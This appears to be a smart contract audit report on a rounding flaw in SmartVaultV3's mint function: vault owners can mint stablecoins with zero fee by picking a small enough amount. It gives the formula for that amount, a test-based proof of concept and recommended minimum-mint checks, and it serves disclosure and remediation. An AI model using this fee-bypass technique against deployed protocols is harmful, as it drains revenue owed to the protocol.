Summary
It is possible for vault owners to mint stablecoins without paying minting fee, by minting a minimum amount. This leads to losses for the protocol that earns fees from loans.
Vulnerability Details
Whenever vault owners borrow stablecoins on the protocol, they pay a minting fee calculated by contracts/SmartVaultV3.sol from the mint function :
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
require(fullyCollateralised(_amount + fee), UNDER_COLL);
minted = minted + _amount + fee;
EUROs.mint(_to, _amount);
EUROs.mint(ISmartVaultManagerV3(manager).protocol(), fee);
emit EUROsMinted(_to, _amount, fee);
}
in this way:
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
However, it's possible for vault owners to bypass paying fee because this function does not consider such a scenario.
POC. Owners can achieve this by minting an amount that takes advantage of Solidity rounding down. This amount can be calculated from the above formula like this:
uint256 minimumMintAmount = (ISmartVaultManagerV3(manager).HUNDRED_PC() - 1)/ ISmartVaultManagerV3(manager).mintFeeRate();
This minimumMintAmount yields ZERO protocol fee.
Impact
The protocol owner looses fee that is earned from mints. This test demonstrates how this vulnerability can be exploited:
describe('mint without paying fees', async () => {
it('allows removal of native currency if owner and it will not undercollateralise vault', async () => {
const value = ethers.utils.parseEther('1');
const half = value.div(2);
await user.sendTransaction({to: Vault.address, value});
let { collateral, maxMintable } = await Vault.status();
expect(getCollateralOf('ETH', collateral).amount).to.equal(value);
const minimumMintable = HUNDRED_PC.sub(1).div(PROTOCOL_FEE_RATE);
const mintingFee = minimumMintable.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
expect(mintingFee).to.equal(0);
console.log(minimumMintable);
await Vault.connect(user).mint(user.address, minimumMintable);
});
});
Tools Used
Manual review:
Recommendations
Add a minimum mint amount that always yields fee to be paid to the protocol.
A possible recommendation would be to a certain percentage to the minimumMint amount as calculated from above e.g.
uint256 minimumMintAmount = (ISmartVaultManagerV3(manager).HUNDRED_PC() - 1)/ ISmartVaultManagerV3(manager).mintFeeRate();
require(_amount >= minimumMintAmount + (minimumMintAmount * MINIMUM_MINT_PERCENT),"Below Minimum Mint Amount");
Have a hard-code minimum mint amount and check that this is not breached:
require(_amount >= minimumMintAmount ,"Below Minimum Mint Amount");